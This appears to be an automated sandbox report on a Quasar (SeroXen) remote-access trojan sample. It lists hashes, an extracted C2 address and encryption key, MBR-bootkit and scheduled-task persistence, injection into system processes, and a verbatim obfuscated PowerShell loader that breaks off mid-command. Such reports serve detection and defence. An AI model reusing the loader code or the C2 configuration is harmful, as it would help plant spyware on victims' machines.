quasar | abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6

Reason

Machine shutdown

General

Target

Uni.exe
Size

409KB
MD5

4c2bb0618a6eda615c8001d5a7ccd6c0
SHA1

c88d2c8bfc5906a5cfef78893d1132edcffd71f0
SHA256

abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
SHA512

6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
SSDEEP

12288:rpg6M1i1v6q1ak/e7xlX7nnvGAwhJLJO:lxqiii6xlLvGjhO

Score

10^/10

quasar seroxen bootkit persistence spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen

C2

tue-jake.gl.at.ply.gg:29058

Mutex

$Sxr-xPAuDxLNyBmZ7S2WLJ

Attributes

encryption_key
Pw78RUs175dFrKD7lMwH
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SeroXen
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2968-1-0x0000000000390000-0x00000000003FC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\SubDir\Client.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1004 created 624 1004 powershell.EXE winlogon.exe
PID 2060 created 624 2060 powershell.EXE winlogon.exe
Executes dropped EXE 4 IoCs

Processes:

Client.exeinstall.exeinstall.exet0AgLtCPSbAg.exe

pid process

2076 Client.exe
552 install.exe
3152 install.exe
2288 t0AgLtCPSbAg.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 raw.githubusercontent.com
9 raw.githubusercontent.com
5 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
bootkit persistence

Bootkit
T1542.003

Processes:

t0AgLtCPSbAg.exe

description ioc process

File opened for modification \??\PhysicalDrive0 t0AgLtCPSbAg.exe

description	pid	process	target process
PID 1004 created 624	1004	powershell.EXE	winlogon.exe
PID 2060 created 624	2060	powershell.EXE	winlogon.exe

pid	process
2076	Client.exe
552	install.exe
3152	install.exe
2288	t0AgLtCPSbAg.exe

flow	ioc
6	raw.githubusercontent.com
9	raw.githubusercontent.com
5	raw.githubusercontent.com

flow	ioc
1	ip-api.com

description	ioc	process
File opened for modification	\??\PhysicalDrive0	t0AgLtCPSbAg.exe

Drops file in System32 directory 6 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 1004 set thread context of 1844	1004	powershell.EXE	dllhost.exe
PID 2060 set thread context of 3564	2060	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

1684 schtasks.exe
756 SCHTASKS.exe
1116 schtasks.exe

pid	process
1684	schtasks.exe
756	SCHTASKS.exe
1116	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={7133246C-BE95-441E-A4F9-31577D6A28C5}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715702733"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exeClient.exe

pid	process
1004	powershell.EXE
1004	powershell.EXE
2060	powershell.EXE
2060	powershell.EXE
1004	powershell.EXE
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
1844	dllhost.exe
2060	powershell.EXE
1844	dllhost.exe
1844	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
2076	Client.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe
3564	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exepowershell.EXEClient.exepowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2968	Uni.exe
Token: SeDebugPrivilege	1004	powershell.EXE
Token: SeDebugPrivilege	2076	Client.exe
Token: SeDebugPrivilege	2060	powershell.EXE
Token: SeDebugPrivilege	1004	powershell.EXE
Token: SeDebugPrivilege	1844	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2628	svchost.exe
Token: SeIncreaseQuotaPrivilege	2628	svchost.exe
Token: SeSecurityPrivilege	2628	svchost.exe
Token: SeTakeOwnershipPrivilege	2628	svchost.exe
Token: SeLoadDriverPrivilege	2628	svchost.exe
Token: SeSystemtimePrivilege	2628	svchost.exe
Token: SeBackupPrivilege	2628	svchost.exe
Token: SeRestorePrivilege	2628	svchost.exe
Token: SeShutdownPrivilege	2628	svchost.exe
Token: SeSystemEnvironmentPrivilege	2628	svchost.exe
Token: SeUndockPrivilege	2628	svchost.exe
Token: SeManageVolumePrivilege	2628	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2628	svchost.exe
Token: SeIncreaseQuotaPrivilege	2628	svchost.exe
Token: SeSecurityPrivilege	2628	svchost.exe
Token: SeTakeOwnershipPrivilege	2628	svchost.exe
Token: SeLoadDriverPrivilege	2628	svchost.exe
Token: SeSystemtimePrivilege	2628	svchost.exe
Token: SeBackupPrivilege	2628	svchost.exe
Token: SeRestorePrivilege	2628	svchost.exe
Token: SeShutdownPrivilege	2628	svchost.exe
Token: SeSystemEnvironmentPrivilege	2628	svchost.exe
Token: SeUndockPrivilege	2628	svchost.exe
Token: SeManageVolumePrivilege	2628	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2628	svchost.exe
Token: SeIncreaseQuotaPrivilege	2628	svchost.exe
Token: SeSecurityPrivilege	2628	svchost.exe
Token: SeTakeOwnershipPrivilege	2628	svchost.exe
Token: SeLoadDriverPrivilege	2628	svchost.exe
Token: SeSystemtimePrivilege	2628	svchost.exe
Token: SeBackupPrivilege	2628	svchost.exe
Token: SeRestorePrivilege	2628	svchost.exe
Token: SeShutdownPrivilege	2628	svchost.exe
Token: SeSystemEnvironmentPrivilege	2628	svchost.exe
Token: SeUndockPrivilege	2628	svchost.exe
Token: SeManageVolumePrivilege	2628	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2628	svchost.exe
Token: SeIncreaseQuotaPrivilege	2628	svchost.exe
Token: SeSecurityPrivilege	2628	svchost.exe
Token: SeTakeOwnershipPrivilege	2628	svchost.exe
Token: SeLoadDriverPrivilege	2628	svchost.exe
Token: SeSystemtimePrivilege	2628	svchost.exe
Token: SeBackupPrivilege	2628	svchost.exe
Token: SeRestorePrivilege	2628	svchost.exe
Token: SeShutdownPrivilege	2628	svchost.exe
Token: SeSystemEnvironmentPrivilege	2628	svchost.exe
Token: SeUndockPrivilege	2628	svchost.exe
Token: SeManageVolumePrivilege	2628	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2628	svchost.exe
Token: SeIncreaseQuotaPrivilege	2628	svchost.exe
Token: SeSecurityPrivilege	2628	svchost.exe
Token: SeTakeOwnershipPrivilege	2628	svchost.exe
Token: SeLoadDriverPrivilege	2628	svchost.exe
Token: SeSystemtimePrivilege	2628	svchost.exe
Token: SeBackupPrivilege	2628	svchost.exe
Token: SeRestorePrivilege	2628	svchost.exe
Token: SeShutdownPrivilege	2628	svchost.exe
Token: SeSystemEnvironmentPrivilege	2628	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

Explorer.EXE

pid process

3316 Explorer.EXE
3316 Explorer.EXE
Suspicious use of SendNotifyMessage 2 IoCs

Processes:

Explorer.EXE

pid process

3316 Explorer.EXE
3316 Explorer.EXE
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Client.exe

pid process

2076 Client.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

RuntimeBroker.exe

pid process

3892 RuntimeBroker.exe

pid	process
3316	Explorer.EXE
3316	Explorer.EXE

pid	process
3316	Explorer.EXE
3316	Explorer.EXE

pid	process
2076	Client.exe

pid	process
3892	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exeClient.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 2968 wrote to memory of 1684	2968	Uni.exe	schtasks.exe
PID 2968 wrote to memory of 1684	2968	Uni.exe	schtasks.exe
PID 2968 wrote to memory of 1684	2968	Uni.exe	schtasks.exe
PID 2968 wrote to memory of 2076	2968	Uni.exe	Client.exe
PID 2968 wrote to memory of 2076	2968	Uni.exe	Client.exe
PID 2968 wrote to memory of 2076	2968	Uni.exe	Client.exe
PID 2968 wrote to memory of 552	2968	Uni.exe	install.exe
PID 2968 wrote to memory of 552	2968	Uni.exe	install.exe
PID 2968 wrote to memory of 552	2968	Uni.exe	install.exe
PID 2968 wrote to memory of 756	2968	Uni.exe	SCHTASKS.exe
PID 2968 wrote to memory of 756	2968	Uni.exe	SCHTASKS.exe
PID 2968 wrote to memory of 756	2968	Uni.exe	SCHTASKS.exe
PID 2076 wrote to memory of 1116	2076	Client.exe	schtasks.exe
PID 2076 wrote to memory of 1116	2076	Client.exe	schtasks.exe
PID 2076 wrote to memory of 1116	2076	Client.exe	schtasks.exe
PID 2076 wrote to memory of 3152	2076	Client.exe	install.exe
PID 2076 wrote to memory of 3152	2076	Client.exe	install.exe
PID 2076 wrote to memory of 3152	2076	Client.exe	install.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1004 wrote to memory of 1844	1004	powershell.EXE	dllhost.exe
PID 1844 wrote to memory of 624	1844	dllhost.exe	winlogon.exe
PID 1844 wrote to memory of 680	1844	dllhost.exe	lsass.exe
PID 1844 wrote to memory of 980	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 436	1844	dllhost.exe	dwm.exe
PID 1844 wrote to memory of 432	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1048	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1064	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1080	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1188	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1196	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1264	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1272	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1356	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1388	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1520	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1612	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1636	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1644	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1728	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1808	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1816	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1872	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1928	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1952	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1088	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 1672	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2132	1844	dllhost.exe	spoolsv.exe
PID 1844 wrote to memory of 2296	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2340	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2464	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2472	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2512	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2592	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2608	1844	dllhost.exe	sysmon.exe
PID 1844 wrote to memory of 2628	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2640	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 2648	1844	dllhost.exe	svchost.exe
PID 1844 wrote to memory of 3068	1844	dllhost.exe	sihost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:624

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:436

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{58db0924-2bab-45ec-9fb9-0831147cd9c6}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1844

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{bb0e642d-5387-4d3f-a946-98834e390909}
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3564

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:432

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gWZQifWFQSJY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HXBZalMtsFrLQn,[Parameter(Position=1)][Type]$hCngpmDWJL)$eqsDSVHqdFs=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('R'+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+'l'+'e'+''+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+''+[Char](109)+''+[Char](111)+'ry'+[Char](77)+'od'+[Char](117)+''+'l'+''+[Char](101)+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+',P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+','+''+[Char](65)+''+'n'+''+[Char](115)+''+[Char](105)+'C'+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+[Char](65)+''+[Char](117)+''+'t'+'o'+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$eqsDSVHqdFs.DefineConstructor('R'+'T'+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+'ia'+[Char](108)+''+[Char](78)+''+[Char](97)+'m'+'e'+''+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$HXBZalMtsFrLQn).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'tim'+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$eqsDSVHqdFs.DefineMethod(''+[Char](73)+'n'+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t'+','+''+'V'+''+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+'l',$hCngpmDWJL,$HXBZalMtsFrLQn).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+''+'m'+''+'e'+''+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+'a'+'g'+''+[Char](101)+''+'d'+'');Write-Output $eqsDSVHqdFs.CreateType();}$sSXpmGKDqkcdG=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'ro'+[Char](115)+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+'Wi'+[Char](110)+''+'3'+''+[Char](50)+'.'+'U'+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+'e'+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+'v'+[Char](101)+'M'+'e'+''+[Char](116)+''+'h'+''+[Char](111)+'d'+'s'+'');$WdONwZqliAuNjM=$sSXpmGKDqkcdG.GetMethod('G'+[Char](101)+''+[Char](116)+'P'+'r'+''+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+''+'r'+''+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ywuojGpUVJUDNGQrjNZ=gWZQifWFQSJY @([String])([IntPtr]);$MQffEiWUEZmFwEIgNVPpRJ=gWZQifWFQSJY 